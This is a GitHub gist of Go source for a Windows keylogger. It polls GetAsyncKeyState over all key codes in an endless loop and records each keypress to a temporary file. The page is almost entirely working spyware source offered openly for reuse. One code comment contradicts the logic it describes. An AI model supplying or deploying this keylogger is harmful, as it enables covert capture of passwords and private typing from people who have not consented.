Skip to content

Instantly share code, notes, and snippets.

@obonyojimmy
Created January 2, 2017 21:18
Show Gist options
  • Save obonyojimmy/61abcbc6022cb7399813db8ac4d1de4d to your computer and use it in GitHub Desktop.
Save obonyojimmy/61abcbc6022cb7399813db8ac4d1de4d to your computer and use it in GitHub Desktop.
simple windows keylogger using GetAsyncKeyState
package main
import (
"fmt"
"io"
"log"
"io/ioutil"
"time"
"golang.org/x/sys/windows"
)
var (
moduser32 = windows.NewLazyDLL("user32.dll")
procGetAsyncKeyState = moduser32.NewProc("GetAsyncKeyState")
)
// KeyLog takes a readWriter and writes the logged characters.
func KeyLog(rw io.ReadWriter) (err error) {
// Query key mapped to integer `0x00` to `0xFF` if it's pressed.
for i := 0; i < 0xFF; i++ {
asynch, _, _ := procGetAsyncKeyState.Call(uintptr(i))
// If the least significant bit is set ignore it.
//
// As it's written in the documentation:
// `if the least significant bit is set, the key was pressed after the previous call to GetAsyncKeyState.`
// Which we don't care about :)
if asynch&0x1 == 0 {
continue
}
// Write i to rw.
err = writeKey(i, rw)
if err != nil {
return err
}
}
return nil
}
// writeKey writes a character to a ReadWriter.
func writeKey(i int, rw io.ReadWriter) (err error) {
_, err = fmt.Fprintf(rw, "%c", i)
if err != nil {
return err
}
return nil
}
// Main wrapper.
func main() {
err := logToFile()
if err != nil {
log.Fatal(err)
}
}
func logToFile() (err error) {
file, err := ioutil.TempFile("", "asynckeylog")
if err != nil {
log.Fatal(err)
}
defer file.Close()
for {
err = KeyLog(file)
if err != nil {
return err
}
// Prevents 100% CPU usage.
time.Sleep(1 * time.Microsecond)
}
return nil
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment